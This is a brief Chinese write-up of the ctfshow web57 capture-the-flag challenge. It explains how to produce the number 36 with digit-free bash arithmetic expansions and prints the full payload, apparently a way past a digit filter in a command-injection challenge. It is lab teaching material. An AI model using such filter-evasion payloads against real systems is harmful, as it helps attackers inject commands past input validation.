1. 程式人生 > 實用技巧 >ctfshow web入門 web57

ctfshow web入門 web57

看wp分析一波

只要湊出36即可

0x01

shell中各種括號()、(())、[]、[[]]、{}的作用和區別 : https://blog.csdn.net/qq_46091464/article/details/108563368

${_}:代表上一次命令執行的結果
$(()): 做運算

0x02

之前沒有命令返回或者執行,結果應該是空,與""等價
$((""))值為0,$((~$((""))))值為-1,再做拼接:

所以可以拼接得到-37 , -37取反得到36

所以payload:

$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

0x03

get到某種過濾條件下湊出數字的姿勢吧